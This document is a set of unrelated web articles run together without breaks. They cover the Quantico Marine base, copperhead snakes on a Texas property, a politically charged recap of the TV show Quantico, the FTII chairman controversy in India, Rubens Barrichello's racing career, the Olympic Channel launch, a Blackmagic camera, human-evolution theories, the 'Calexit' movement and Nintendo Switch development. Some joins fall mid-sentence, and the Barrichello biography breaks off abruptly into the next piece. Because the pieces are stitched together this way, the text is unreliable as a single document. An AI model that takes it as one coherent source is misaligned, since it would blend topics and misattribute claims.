The Quantico base, which is 37 miles south of Washington, is also home to the FBI's training academy.
In 2010, the base was one of several targets of an ex-Marine reservist who, during five nighttime shootings, fired on military targets including the Pentagon. Yonathan Melaku, on two separate occasions, fired at the National Museum of the Marine Corps in Quantico. No one was injured and Melaku was sentenced to 25 years in prison.SWEENY, Texas - An 80-acre property in Sweeny provides an ideal country setting for Lee and Leslie Hubbard and their family. Lots of pets, lots of land -- and lots of snakes.
The home has been overrun with copperheads since they bought it eight years ago. They killed about a hundred a year until they called the state and then Kris Swanson, a snake expert with Katy Snakes.
"It was a huge situation," said Swanson. "We caught 33 snakes that night. They were all over the place."
Swanson and his team have caught nearly 200 of the snakes in just the past year, usually when they make their nightly hunts. The snakes are looking for food. Swanson and his crew are looking for the snakes.
What Swanson and his crew have done in that time is collected the snakes and sent them to research facilities that use their venom for cancer research.
It's a project that's become near and dear to Lee Hubbard's heart.
"We were supposed to come out on a Friday the first time," said Swanson. "We ended up being delayed by a day because he was burying his aunt, who had just died from breast cancer the day before. When he found out that we were out here to collect these snakes to try to use them for cancer research, it changed their whole outlook on it."
It changed the Hubbards' outlook so much that they plan to turn part of their property into a conservation area so people can view the creatures in their natural habitat. They're hoping to open up the eco-tourist venture by sometime next summer.
Copyright 2014 by Click2Houston.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.In last night’s episode, “Found,” the Quantico recruits finally get an evening away from the Academy. Elias, the intelligent, gay analyst-in-training, has spent the entire series trying to dig up dirt on Simon Asher (Tate Ellington) after he turned down Elias’ advances during earlier training exercises. As the recruits invade a local business convention to test their undercover abilities, Elias finally hits pay dirt, and digs up the evidence he needs to take down Simon.
As Simon plays the convention floor, Elias interrogates Max, Simon’s supposed boyfriend in a room upstairs. Max folds quickly, revealing that he’s only met Simon once, when he asked him to pose in a picture outside Grand Central Station. Despite Max’s infatuation with Simon, the pair has never been in a relationship.
Simon is caught. He has co-opted the gay rights struggle, and for this heinous crime, it’s time to kick him out of the FBI.
Elias: Looking for Max? He came and went. Here's the thing that bothers me. It's not just you lying about being gay. Don't get me wrong, that deeply offends me as a gay man, a man who was actually bullied, a man who actually fought for marriage equality, a man who's actually done things to another man, and recently, too. Simon: Look, Elias, this is Elias: and it's not how you're about to suggest life is complicated. Or that you're bisexual. Simon: I'm not gonna say it. Elias: No. Unh-unh. Don't co-opt that struggle, too. No. The thing that bugs me is the lengths you're willing to go to maintain this facade. You manipulated a complete stranger to come here, an innocent person. Who does that? You want to know the truth, Simon? The truth is, you're dangerous. So when we get back tomorrow, I'm making sure you never step foot in Quantico again.
It’s over, it seems. All the foreshadowing about the unspeakable act Simon committed to get himself kicked out of the FBI Academy has been for nothing. The bespectacled nuisance will go down for being a fake homosexual unless he can give Elias some plausible action for his behavior.
When in doubt, blame Israel. In a show whose writers’ have already called military veterans unstable, and fantasized about an anti-abortion bomb plot, this sudden shift across the ocean to bash the Jewish state may be abrupt, but it’s hardly unexpected. Faced with his imminent expulsion, Simon reveals that he hides his true self from the world because it’s the only way he can cope with the atrocities he committed in the Gaza Strip on behalf of the Israeli Defense Forces.
Take a look:
Simon: Knock, knock. Elias: Don't bother. I already made an appointment with Miranda's assistant. Simon: You were right about me. I am dangerous. Elias: Look, not now, okay? I don't have time for whatever new fiction you're trying to Simon: please. Please. I was in the Israeli Defense Forces. They sent me into Gaza. I didn't just see things. I did things. Things that haunt me every single day of my life. After I got back, living undercover was the only way that I could cope... With what I did... With myself. So I made myself a lie. I don't wear glasses. I don't even like coffee. And I'm not... I'm -- I'm -- I'm not... I'd understand if you hate me. Elias: You should keep the glasses. They look good on you.
It’s unclear whether Simon truly served in the IDF, or if this is just another layer of the onion of lies that is Simon Asher. Frankly, it doesn’t matter, because one of the FBI’s top analyst trainees buys his story.
If Elias thought Simon was dangerous for pretending to be gay, this excuse should be an even bigger red flag. Simon has all but admitted to being a war criminal who lied his way into the Academy, but instead of running to the director with an actual cause for concern, it appears Elias is satisfied with his story, and is going to let him slide.
In Quantico, it’s better to be a ruthless sociopath than to be straight and kiss a man for social media. Long live political correctness.NEW DELHI : Even as voices seeking FTII chairman Gajendra Chauhan's resignation grew louder, it is learned that eminent film personalities like Raju Hirani, Vidhu Vinod Chopra and Jahnu Barua were among the luminaries who were considered for the post but it was finally Chauhan who made the cut. Interestingly, all the three are alumni of the premier film school.Chauhan's name was pushed by RSS cultural outfit Sanskar Bharati, Sangh leader Krishna Gopal and BJP general secretary (organisation) Ramlal, according to highly placed sources, who also added that Chauhan himself had been lobbying for the post with the Sangh and BJP.Sources also said that Gajendra Chauhan's name was officially put forward by I&B minister of state Rajyavardhan Rathore, who stuck to it even after people from within the party and the ministry objected to it.Rathore, it is learnt, had argued that there is need for a "strong administrative person" for the post of chairman of the FTII governing council, given the "mess" that the film institute is in and Chauhan would be able to do the cleaning up. This argument does not hold, as the chairman has no administrative role, which lies with the director of FTII.The government however strongly defended the decision to appoint Chauhan, saying it wanted someone who could devote time to the premier institute. " The government wanted the Governing Council, including the chairman, to be people who could commit time for the development of the institute," Rathore said.Significantly, names of celebrities like Amitabh Bachchan, Rajnikanth, Gulzar, Adoor Gopalakrishnan and Shyam Benegal were also under the consideration of the I&B ministry, said reports.Meanwhile, a senior ministry functionary said, " It was felt that while Chauhan may not be the tallest of all names suggested, but he certainly met all the requirements, including willingness to give time generously."If " people like Bachchan or Rajnikanth would like to run FTII, there was no objection but only those names who, it was felt, could devote enough time to thoroughly focus on the job were shortlisted," he said, adding another factor was the willingness to take up the job, indicating that some prominent names were not keen.According to sources, I&B minister Arun Jaitley, held back the file for some days before the name could be finalized. Earlier, Oscar-winning sound mixer and designer Resul Pookutty had tweeted that in his meeting with a FTII delegation Jaitley had said " we (government) haven't made the best of choice but as a government we can't retract!"However ministry officials rejected suggestions of differences between Jaitley and his junior minister Rathore on the matter.Ministry officials denied that Chauhan's nomination was an attempt at " saffronisation" and RSS was involved in decision making and said that members are chosen were from diverse backgrounds on the FTII council. Citing another reason for choosing Chauhan, an official source said, it was felt that some difficult decisions were needed, which an alumni may not be comfortable in taking.But Chauhan himself lobbied for the post in a big way with both Sangh and BJP leaders, it is learnt, which is why people like Ramlal came into the picture.Earlier former censor board chief Anupam Kher had criticized Chauhan's appointment saying that the institute needed a much qualified person. Kher is seen as reflecting the views of a section in the party as well as Bollywood which have been supportive of BJP and Prime Minister Narendra Modi.Joining those who are supporting the agitating FTII students on their demand for removal of Chauhan as chairman of the institute, veteran actor Rishi Kapoor said he should not fight for his post but step down as students " are not able to look up to him"." Don't fight for it, don't force yourself into the post...I am not doubting anybody's capabilities. You cannot impose yourself. A chief command demands respect and I feel bad for him. I think he should step down," Kapoor told reporters in Mumbai.Gonçalves and the second or paternal family name is Barrichello. This name uses Portuguese naming customs. The first or maternal family name isand the second or paternal family name is
Rubens "Rubinho" Gonçalves Barrichello ( Portuguese pronunciation: [ˈʁubẽjz ɡõ'sawviz baʁiˈkɛlʊ], [ʁuˈbĩjʊ]), born 23 May 1972, is a Brazilian racing driver who competed in Formula One between 1993 and 2011, scoring 11 Grand Prix wins and 68 podiums.[1]
Barrichello drove for Ferrari from 2000 to 2005, as Michael Schumacher's teammate, enjoying considerable success including finishing as championship runner-up in 2002 and 2004. He also finished third in 2001 and 2009. Barrichello holds the record for most race starts in Formula One (322) and has scored the eleventh highest points total in Formula One history. Schumacher's retirement at the end of 2006 made Barrichello the most experienced driver on the grid, and at the 2008 Turkish Grand Prix he became the most experienced driver in F1 history. He became the first driver to reach 300 Grand Prix entries and 300 starts, doing so in 2010.
During his six years with Ferrari, Barrichello was involved in winning five constructors' titles, as Schumacher won five drivers' titles in a row between 2000 and 2004. At the end of 2005 Barrichello left Ferrari to sign a contract with Honda. In 2009, he finished third in the Drivers' Championship for Brawn GP, as his teammate Jenson Button won the title. This meant Barrichello was involved in a sixth Constructors' title. He was also appointed chairman of the Grand Prix Drivers' Association in 2010,[2] but after losing his seat in Formula One, he was replaced by Pedro de la Rosa.[3]
After losing his seat at the Williams F1 team, Barrichello moved to the IndyCar Series in 2012 with KV Racing Technology.[4][5] After only one year and being unable to find a ride for the 2013 season, Barrichello moved back to Brazil to participate in the Brazilian Stock Car V8 Series, winning the championship in 2014 while driving for Full Time Sports.[6]
In 2013 he started covering F1 race weekends for Brazil's TV Globo, interviewing drivers and team members on the grid and commentating during qualifying and race coverages.[7][8]
Early life [ edit ]
The paternal side of his family comes from Veneto, Italy (from the town of Riese, in the province of Treviso).[9] His maternal side of the family is of Portuguese origin. Both his father and paternal grandfather are also named Rubens,[9] and Barrichello shares his father's birthday: 23 May.[10] Therefore, Rubens Barrichello was known as Rubinho (Portuguese for "little Rubens"), which has become his nickname.
Barrichello won five karting titles in Brazil before going to Europe to race in the Formula Vauxhall Lotus series in 1990. In his first year, he won the championship, a feat he replicated the following year in the British Formula 3 Championship, beating David Coulthard. He very nearly joined Formula One, the highest category of single seater racing, at just 19 years of age.[citation needed] Instead he competed in Formula 3000 in 1992. He finished third in the championship, and joined the Jordan Formula One team for the 1993 Formula One season. During this time, and also early in his Formula One career, Barrichello lived in Cambridge, Cambridgeshire, UK.[11]
Formula One career [ edit ]
Jordan (1993–1996) [ edit ]
Barrichello had an effective rookie year. In his third race, the European Grand Prix, he started from 12th place in very wet conditions but was fourth by the end of the first lap. He ran as high as second and was running third, having passed the Williams of Damon Hill and Alain Prost, before encountering a fuel pressure problem. His Jordan's reliability in 1993 was poor, and he finished few races. Barrichello regularly outpaced his more experienced teammates, Ivan Capelli and Thierry Boutsen. In the French Grand Prix, he almost scored his first Grand Prix point (and the team's first that year) but Michael Andretti passed Barrichello for the sixth and final points-paying position on the final lap. His only points finish of the season came at the Japanese Grand Prix with fifth place, ahead of his new teammate Eddie Irvine. These 2 points put him in 18th place in the standings.
1994 started well with a fourth place in Brazil and a third place at Aida, which earned him his first podium position. These results put Barrichello in second place in the drivers' ranking at that moment, behind Michael Schumacher, who had won the two races. However, at the San Marino Grand Prix, Barrichello's career nearly ended when he suffered a violent crash during Friday practice. His car hit the wall in Variante Bassa, turning him upside down. This accident knocked him unconscious and threatened his life, with his tongue blocking his airway.[12] Barrichello credits the on-track work of Sid Watkins for saving his life.[13]
Compared to some key rivals in that event, Barrichello was relatively fortunate, however. Twenty minutes into Saturday's final qualifying session, Roland Ratzenberger died when he crashed his Simtek at the curva Villeneuve; on Sunday, during the actual race, his mentor Ayrton Senna crashed his Williams at Tamburello and also died. Despite this deep personal loss, Barrichello recovered his confidence and raced strongly, having good races and taking pole position at the Belgian Grand Prix, and leading some laps at Estoril. His pole position at Spa-Francorchamps set the record for the youngest driver to secure pole position at that time. He concluded the season with fourth place in Adelaide. He finished the season sixth overall in the Drivers' Championship with 19 points, outscoring Irvine, who scored six.
1995 was highlighted by a second-place finish in Montreal, but the Jordan cars were less reliable than in 1994 mostly because Jordan took over the works Peugeot engine contract from the McLaren team. In three races he lost seven points on the final lap – a high-speed collision with Mark Blundell at Silverstone, and mechanical failures at Barcelona and in Hungary. Barrichello finished the season in 11th with 11 points, one ahead of Irvine.
There were high hopes for 1996. The Benson & Hedges cigarette brand brought an infusion of sponsorship to the team. Barrichello was amongst the frontrunners in Brazil, the second race of the season, before spinning off after his brakes overheated.[14] However, as the season progressed, Jordan became less competitive. Barrichello's relationship with team owner Eddie Jordan soured during 1996, and at the end of the year, after being linked to strong teams, he left for the newly formed Stewart Grand Prix. His final season at Jordan resulted in 14 points.
Stewart (1997–1999) [ edit ]
1997 was a difficult first year for the team,[citation needed] and Barrichello finished only three races. The highlight was a second-place finish in Monaco, which put him 13th in the standings. Teammate Jan Magnussen scored no points. The same year, Barrichello married Silvana Giaffone on 24 February. She is a cousin of Brazilian Indy Car driver Felipe Giaffone and a niece of the Stock Car Brasil champions, Affonso Giaffone Filho and Zeca Giaffone.
1998 was not much better for Stewart, with two fifth places being the team's best results. Despite the poor reliability of the team, Barrichello performed well and consistently beat teammate Magnussen, which resulted in the latter being dropped at the French Grand Prix, replaced by Jos Verstappen, another teammate beaten by Barrichello.
1999 was a much better year for the Stewart team. Barrichello qualified third at his home race in Brazil, outpacing Michael Schumacher's Ferrari, and led some laps, until his engine blew near 'Subida dos Boxes'. He also took pole position in the wet qualifying session in France and three podium finishes, at the San Marino, French, and European Grands Prix. The latter race was won by teammate Johnny Herbert. Despite this, Barrichello again generally outpaced his teammate. Over the course of the year, he caught the eye of Ferrari boss Jean Todt, and he was signed for the 2000 season.
Ferrari (2000–2005) [ edit ]
In 2000, Barrichello achieved his first Grand Prix victory at the German Grand Prix at Hockenheim demonstrating why he is rated as one of the best wet weather drivers, when he and the team choose to stay on dry-weather tyres when it was raining on part of the circuit. This risky call saw him leap-frog the McLarens who chose to pit for wet weather tyres, thus earning him a well-deserved and emotional victory, having started the race from 18th place on the grid. This was the longest any driver in Formula One history has waited for a maiden Grand Prix win. Barrichello had a consistent debut season for Ferrari, finishing most races on the podium, but was outscored by the other three reliable drivers: Michael Schumacher, Mika Häkkinen and David Coulthard. Barrichello finished the season ranked fourth after supporting Schumacher as he battled and defeated Häkkinen for the Drivers' Championship, and helping Ferrari win the Constructors' Championship.
Barrichello finished the 2001 season in third place, achieving a total of 10 podium finishes and scoring a total of 56 championship points. He nearly achieved a win in Monza, in which the Ferrari pit crew performed badly. He finished the season winless, and again he played a major supporting role for Schumacher, helping him win his second Drivers' Championship with Ferrari and helping the team win the Constructors' Championship for the third consecutive year.
Barrichello's success at Ferrari continued in 2002, when he won four races for the team and finished a career best second place in the Drivers' Championship, scoring 77 championship points. The year was marked by controversy, however, when Ferrari team orders required Barrichello to allow the trailing Schumacher to pass him on the final straight of the Austrian Grand Prix to take victory. Schumacher exchanged podium places with Barrichello at the podium ceremony and gave Barrichello the winner's trophy. The drivers were fined for disrupting podium protocol and Ferrari's blatant team orders led to the FIA banning team orders beginning in 2003.
Barrichello finished the 2003 season in fourth place, scoring 65 points, including wins at Silverstone and Suzuka, and again played a crucial role in helping Schumacher and Ferrari win the drivers' and Constructors' Championships. In the 2004 season, Barrichello finished second behind Schumacher in only seven of the first thirteen races, but he won both the 2004 Italian Grand Prix and the 2004 Chinese Grand Prix to clinch second place in the championship, finishing the year with 114 points and 14 podiums. Though Barrichello had good cars during his Ferrari era, his best result at his home race was a third place in 2004. He has failed to finish eleven of the fifteen Brazilian Grands Prix in which he has competed.
In the 2005 season, Ferrari lacked the pace of previous years because of the changing of tyre rules.[15] Ferrari used Bridgestone tyres, which were less effective than those of their competitors Michelin.[15][16] Barrichello's best results this season were two second places in Melbourne and then at the controversial United States Grand Prix at Indianapolis. He finished the season in eighth place in the drivers' standing with 38 points, his worst season with Ferrari.
Honda (2006–2008) [ edit ]
In August 2005 he announced that he would be leaving Ferrari at the end of the year to join Honda. Barrichello's lucky number is "11," which was the number his kart bore when he won his first race. In 2006, his new teammate Jenson Button gave Barrichello the number for his car in goodwill. Barrichello was initially outpaced by Button, and claimed that the car did not suit his driving style, particularly under braking. After modifications to the car he was able to be more competitive. In Monaco, he nearly got his first podium with the team, but then he was given a drive-through penalty for speeding in the pit lane and finished fourth. Though he lost a podium, it was the best result at the Monaco Grand Prix for Honda (as a team) or any Japanese team. For the race Barrichello exchanged helmet liveries with Tony Kanaan, a Brazilian Indy Car driver and one of his best friends. On the same weekend, Kanaan raced in the 2006 Indianapolis 500 race using Barrichello's helmet livery. Barrichello qualified third for the Chinese Grand Prix, ahead of Schumacher and Räikkönen. He finished the season seventh in the drivers' standings with 30 points, 26 behind Button.
Barrichello did not score any points during the 2007 season, because of the Honda RA107's lack of pace. Despite retiring only twice, a ninth place in the British Grand Prix was his best result of the season and he only once qualified in the top 10. Despite this, Honda confirmed on 19 July 2007, that Barrichello would remain with the team as a race driver for the 2008 season.[17] This gave him the opportunity of making the five race starts he required to break Riccardo Patrese's record for the driver that has started the most Grands Prix, a record that had stood for 14 years.
In the first race of the 2008 season, Barrichello qualified 10th, ahead of Button. He finished 6th but was disqualified for ignoring a red light at the pit exit. He also received a stop-and-go penalty during the race for entering the pits while they were closed during a safety car period. In Malaysia, gearbox problems limited his performance and he finished 13th. In Bahrain he again finished out of the points.
The Turkish Grand Prix was Barrichello's 257th Grand Prix, breaking Patrese's record of 256 Grand Prix starts and becoming the most experienced driver in F1 history. The particular Grand Prix at which he broke this record has been disputed, as he technically did not start some races, such as the 2002 Spanish Grand Prix,[18] but Barrichello and Honda chose Turkey to be the location of the official celebrations.[19]
In Monaco, he scored his first points since 2006 and in Canada he scored consecutive points, finishing 7th after starting in 9th position. He led some laps because of the appearance of the safety car, but fell back down the order towards the end of the race. At Magny-Cours, Barrichello did not repeat his performance from the two previous races and qualified in 17th. After a gearbox change, he dropped to 20th. In the race, he finished 14th.
At Silverstone, which he said he considers to be his second home, he qualified 16th, outpacing Button. With heavy rain on race day, through good use of an extreme wet tyre he finished 3rd, achieving his first podium since 2005. However, in Germany, a collision with David Coulthard ended his hopes for points. In Hungary, he was lapped by the leader, repeating the same performance in Valencia. In Belgium he qualified 16th but had to retire because of a gearbox fault. At a wet Monza, he was second fastest in Friday practice and started from 16th on the grid. He managed to get up to 9th but as a result of using the wrong type of tyre in his second pit stop he ended up 17th. At the first ever night race in Singapore he was in a good position to score some points after pitting before the pit lane closed for the safety car period, but shortly afterwards the engine failed and he had to retire. In Japan he started from 17th on the grid, but managed to get up to 13th by the end of the race. In China he managed to get into Q2 for the first time in ten races, and would have started 14th. But after Mark Webber had his ten place penalty for an engine change added he was moved up to 13th. On race day he had a good start, and got up to 10th early on and held a strong mid table position all race and finished 11th, five places ahead of Button, who had struggled all weekend.
At his home Grand Prix in Brazil, he was sporting an alternative helmet design in tribute to Ingo Hoffmann, and finished 15th.[20][21]
On 5 December 2008 Honda announced that they were quitting F1, because of the economic crisis. This led to months of uncertainty as to whether a buyer could be found, and whether they would retain Barrichello.
Brawn GP (2009) [ edit ]
Just weeks before the season opener in Melbourne, team manager Ross Brawn purchased the Honda team, renaming it Brawn GP and removing the threat of possible closure. Barrichello was the subject of persistent rumours suggesting he would lose his seat to the young Bruno Senna, nephew of his friend, idol and mentor Ayrton Senna. Ultimately Brawn elected to retain Barrichello to partner Jenson Button in 2009. At Barcelona during the final pre-season test, both Barrichello and Button surprised the paddock with extremely competitive lap times, outperforming others by as much as two seconds, and foreshadowing the performance the team would show in the early races.
In Melbourne, Barrichello topped the timesheets in the first two elements of qualifying, but qualified second on the grid behind teammate Button. Despite a poor start caused by his engine slipping into anti-stall, he did well to recover and lost only a couple of |
NBC’s 2012 Dream Team documentary.
The commentary teams were Marv Albert, Mike Fratello and Jim Gray and Chick Hearn and Steve Jones.
Check the Channel Finder to see how you can watch the Olympic Channel in your area.
Other archival footage set to air on Olympic Channel this summer includes Usain Bolt’s Olympic races from 2008 through 2016, rebroadcasts of Opening Ceremonies (including from the unforgettable Beijing 2008 Games) and official Olympic films.
The Olympic Channel will launch in more than 35 million homes starting Saturday, available to most subscribers of Altice, AT&T DirecTV, Comcast, Spectrum and Verizon. It will also be available on streaming services DirecTV Now, Fubo, Hulu, Sony PlayStation Vue and YouTube TV.
The Olympic Channel will live stream on OlympicChannel.com, the Olympic Channel app, NBCSports.com and the NBC Sports app. Select replays and highlights will be available on those platforms and TeamUSA.org.
OlympicTalk is on Apple News. Favorite us!
MORE: Olympic Channel opening weekend broadcast scheduleA camera that rivals the GoPro on size but offers a host of professional features including interchangeable lenses and RAW capturing has been announced by broadcast equipment makers Blackmagic Design.
While the camera is more expensive than the ubiquitous GoPro, with a price point of $995 it remains in reach of consumers and independent filmmakers, making it the first drone-mountable camera to be so.
The camera, a miniaturised Super 16mm digital camera named the Blackmagic Micro Cinema Camera, shoots 1080 HD with 13 stops of dynamic range.
It is also designed to suit other professional shooting situations where a tiny camera is a must, such as hidden camera shows.
“The Blackmagic Micro Cinema Camera is the smallest and most expandable digital film camera in the world,” explained Grant Petty, CEO, Blackmagic Design.
“For the first time, customers will be able to get incredible action and point of view shots that look better than anything they’ve ever seen before.”
The camera is being presented to the television and film industry as first and foremost a professional piece of equipment that also offers drone connectivity.
The Micro Cinema features ports for PWM and S.Bus connections, which allow specific adjustments including audio levels, iris and focus, as well as the more standard start and stop, to be mapped to a remote control. Those connecting with S.Bus can even design their own custom embedded controllers.
“The new expansion port allowing radio remote control is exciting because it opens up entirely new shooting possibilities that will let customers shoot things they’ve never been able to shoot before,” said Petty.
The Micro Cinema also offers a host of other features targeted at filmmaking professionals.
It can shoot with either a 60fps rolling shutter or a 30fps global shutter, and saves footage either as 12-bit log CinemaDNG RAW or Apple ProRes files.
These ensure that capturing is lossless, allowing for a host of post-production options to improve the look of the final footage.
It also has a Micro Four Thirds lens mount, which allows filmmakers to switch out lenses to suit the filming environment and can also be adapted to mount other mainstream lenses.
Other professional connectors such as an external stereo microphone input further cement the camera as a professional-standard piece of equipment.
While the camera will undoubtedly be embraced by many professionals, it is likely to see huge popularity among indie filmmakers, bringing a host of high-quality aerial shots to independent films.
With indie filmmakers typically opting for cameras in the $500-$1000 range, the majority of which offer dramatically lower quality, the Blackmagic Micro Cinema Camera is surely set to be a hit.
Images courtesy of Blackmagic Design.Over the past half-century, our understanding of human evolution has changed dramatically. And now, it seems that one of the outstanding debates about Homo sapiens has become a lot more complicated — because both sides may be right.
Photo via Neanderthal Museum, Germany
Since the first discoveries of early human remains in Africa and beyond, anthropologists have been stumped by a mystery that has only gotten weirder over the years. What happened to all the other kinds of humans who lived on Earth after they met up with Homo sapiens tens of thousands of years ago?
Advertisement
How did humans really evolve? Almost two million years ago, a band of brave explorers left their families behind in their warm,… Read more Read
Thirty years ago, anthropologists were divided into two camps: Those who believed that humans had come out of Africa and crushed the Neanderthals (adherents of the "out of Africa" theory), and those who believed that Homo sapiens and early humans in Eurasia were so similar that it was accurate to say that humanity evolved both in and out of Africa over a long period of time (aherents of the "multi-regionalism" theory). Both groups turned out to be right and wrong.
The Great "Out of Africa" Debate
Back in the 1960s, we only knew of one other human species who lived on the planet with our ancestors: Neanderthals, or Homo neanderthalensis. We knew that Homo sapiens started leaving Africa in large numbers about 80 thousand years ago, and we also knew that Neanderthals had been living in Europe for hundreds of thousands of years at that time. And, roughly ten thousand years after encountering their first Homo sapiens, it appeared that the last of the Neanderthals died out, perhaps 35 or 40 thousand years ago.
Advertisement
Today, new discoveries have made that Neanderthals vs. Homo sapiens story a lot more complicated. We know that there were at least two other human groups wandering around at the time humans left Africa: the Denisovans in Eurasia and the Hobbits (Homo floresiensis) in Indonesia. As more fossil discoveries are made in China, we're likely to learn more about the humans who lived there for hundreds of thousands of years before Homo sapiens arrived, too. So we know that there were a lot of different humans living in regions outside Africa before Homo sapiens got there.
Advertisement
Still, that doesn't tell us much about what happened when African early humans met those diverse groups. Why aren't there still Denisovans and Hobbits around today? Were those early Eurasians replaced by Africans or did they all evolve into modern humans?
In 1987, it seemed that we'd gotten our answer. Biochemist Rebecca Cann and her colleagues published the results of an exhaustive study of human genetics and evolution. They had examined small pieces of DNA called mitochondrial DNA (mtDNA), which live outside the cell nucleus, and are passed down directly from mothers to their children unchanged. What they discovered was incredible: All humans on Earth could trace their mtDNA back to one woman in Africa, who lived about 200,000 years ago, long after the ancestors of Neanderthals had left Africa. This seemed to settle the "out of Africa" vs. "multi-regional" debate once and for all. If everybody had this mtDNA, then clearly we all came from this one specific group of Homo sapiens who left Africa around 80 thousand years ago.
This compelling piece of evidence complemented a modern version of the out of Africa theory known as the "recent African replacement theory," which is a nice way of saying that African Homo sapiens destroyed other humans as they took over the world. They "replaced" their extinct human rivals. That's why everybody can trace their genetic heritage back to a person the media dubbed Mitochondrial Eve.
Advertisement
Genetic Evidence for Multi-Regionalism
But in the last ten years, we've gotten a whole new round of genetic evidence that has made the multi-regional theory relevant again — and has put Mitochondrial Eve into a much more complicated relationship with her human counterparts in Europe and Asia. Anthropologist Milford Wolpoff, one of the originators of the multi-regional theory, published a paper in the early 1980s where he argued that "modern populations evolved in different geographic areas from already differentiated ancestral groups of archaic Homo sapiens (or Homo erectus)." But he wouldn't have genetic evidence to bolster this idea until a new millennium had begun.
In the early 2000s, scientists completed a massive project to sequence the human genome, a massive chunk of DNA separate from mtDNA, which represents genetic material inherited from both parents. Then, in the mid-2000s, scientists developed techniques for sequencing genomes taken from fossils up to 40 thousand years old. Within the last few years, we've sequenced the genomes of Neanderthals and Denisovans. And guess what? It turns out that people hailing from regions outside Africa have Neanderthal DNA in their human genomes. Many Asian groups have Denisovan DNA.
Advertisement
Suddenly, that whole African replacement theory got a lot weirder. It seems that Homo sapiens didn't replace other humans — instead, we had children with them. Many humans on Earth are the result of hybridization. Maybe instead of replacing other humans, our ancestors assimilated them. These recent genetic studies lend credence to the multi-regional theory because they suggest that the people in Europe and Asia were already humans when Homo sapiens left Africa. They may not have looked exactly like African early humans, but they could interbreed with them. So humans were evolving outside Africa, after all.
Advertisement
Even Chris Stringer, the paleoanthropologist who popularized the African replacement theory, has said recently that the story is much more complicated than he once imagined. And anthropologist Ian Tattersall, another proponent of the theory, told me last year that of course there was some "Pleistocene hanky panky." That was his joking way of acknowledging the fact that humans today include the progeny of African early humans mating with the Eurasian locals.
Assimilation and Hybridization
Today, the African replacement theory and the multi-regional theory have begun to merge with each other.
Advertisement
After Neanderthals began having children with Homo sapiens, Neanderthal genes entered the Homo sapiens gene pool and spread. This suggests that Neanderthals didn't die out, but were slowly absorbed into the larger, African Homo sapiens population. There were so few Neanderthals compared to Homo sapiens, that with each successive generation, the children of Homo sapiens and Neanderthals looked more like Homo sapiens and less like Neanderthals. In the end, all that was left of Neanderthals were those few genes that were passed along in many people's DNA.
It would appear that the African replacement theory and the multi-regional theory are both right. All humans on Earth can trace their ancestry back to that big population of Homo sapiens who came charging out of Africa 80 thousand years ago. But those Homo sapiens weren't the only humans on Earth. And when they met other humans, they had children with them — which is fairly definitive evidence that they were the same species as Eurasian people in other regions.
I'm not saying the situation was friendly or peaceful. Maybe a lot of those hybrid babies were the unwanted products of war. All we know is that many people on Earth today owe their lives to the offspring of early humans from Africa who mated with early humans from Eurasia. Echoing the multi-regional theory, the genetic evidence suggests that humans were evolving elsewhere in the world while Mitochondrial Eve's people were evolving in Africa.
Advertisement
Put another way, Mitochondrial Eve had children with Denisovans and Neanderthals. We are all progeny of the people who came out of Africa. And most of us are progeny of early cultural mixing in multiple regions, too.
Annalee Newitz is the author of the book, Scatter, Adapt and Remember: How Humans Will Survive a Mass Extinction. Follow her on Twitter.If you thought Brexit was going to be the only major secession story this year, think again. "Calexit," as in the idea of California becoming its own country, is now a thing, and the movement is picking up steam following Election Day results. But just how hard would it be for California to secede?
Calexit has been largely promoted by the Yes California Independence Campaign, a San Diego-based movement backed by venture capitalist and angel investor Shervin Pishevar. "As the sixth largest economy in the world, California is more economically powerful than France and has a population larger than Poland," the Yes California campaign wrote in statement. "Point by point, California compares and competes with countries, not just the 49 other states."
Still, the ideology behind Calexit is fundamentally different than that of Brexit supporters, according to the Yes California campaign website. "In 2016, the United Kingdom voted to leave the international community with their 'Brexit' vote. Our 'Calexit' referendum is about California joining the international community," the campaign wrote.
Yes California has found two secession options that the campaign sees as viable. The first involves a Washington delegate proposing a constitutional amendment that would allow California to withdraw from the union. This amendment would face several further hurdles, including having to be approved by 2/3 of each house of Congress, and then being accepted by at least 38 out of the 50 states. Yes California's second option includes calling for a convention of the states, and then having two-thirds of the convention's delegates approving the same constitutional amendment as mentioned in the previous option.
This isn't the first time residents of a state have pushed to secede from the union; a group of conservative Texans almost forced Texas Republicans to decide on secession earlier this year, but were two votes short of a floor vote, the Washington Post reported. Still, the likelihood of a state actually managing to become its own country remains low, even for the U.S.'s most populous state.
For one thing, secession-supporters would have to negotiate the limitations of the U.S. Constitution, which includes provisions for adding states to the union, but not for exiting it. And considering one of the major issues the Civil War was fought over was the idea of secession, the legality of a state withdrawing itself is "problematic," Eric McDaniel, associate professor of government at the University of Texas at Austin, told the Texas Tribune in June. “The Civil War played a very big role in establishing the power of the federal government and cementing that the federal government has the final say in these issues," McDaniel said.
On the other hand, this is great news for the rest of the country, considering that more than half of the United States' fruits and vegetables are produced on California farms. Still, the strong positive reaction towards the idea of secession following Trump's winning of the presidential election makes sense. California overwhelmingly votes Democrat, so the election of a Republican lawmaker who didn't win the popular vote is understandably frustrating to many California residents. Anti-Trump protests have erupted in many cities across the state.
Even elected officials have expressed disappointment with the election results. "Today, we woke up feeling like strangers in a foreign land, because yesterday Americans expressed their views on a pluralistic and democratic society that are clearly inconsistent with the values of the people of California," State Sen. Leader Kevin de León and Assembly Speaker Anthony Rendon said in a joint statement, according to ABC News. Though a "Calexit" has a valid ideology behind it, the odds of seceding are very slim in reality.Nintendo has a history of struggling to attract AAA developers to its platforms. But on a recent call with investors, the company assured them that the Switch will be more successful with third parties than its predecessors.
A major reason for that, according to Nintendo executives, is the Switch’s compatibility with Unity and Unreal, two of the most commonly used game engines.
“Since the start of Nintendo Switch development we have been aiming to realize an environment in which a variety of different third-party developers are able to easily develop compatible software, such as by making it compatible with Unreal and Unity as well as our own development tools,” explained managing executive officer Shinya Takahashi during the call.
Nintendo has previously talked about how the Switch will work with these engines, but what’s notable here is that the company acknowledged its past preference for its own internal tools. That was perhaps to Nintendo’s detriment, as seen by the dearth of third-party software for the Wii U. But going forward, the company sounds committed to sharing its knowledge with outside partners.
Nintendo is making changes to appeal to third parties
Nintendo of America president Reggie Fils-Aime said as much in an interview with Polygon last month.
“We’ve invested a lot of our time with our developer support group to really share the technology, share the information earlier in order to get that support,” he said.
The company is also making other internal changes, including combining its separate home console and handheld development teams into one.
“We have taken the software development teams for home console systems and for handheld systems, which used to be two different departments, and integrated them into one, and this has been very beneficial as they are now developing software as a team in the same environment,” veteran game designer Shigeru Miyamoto said.
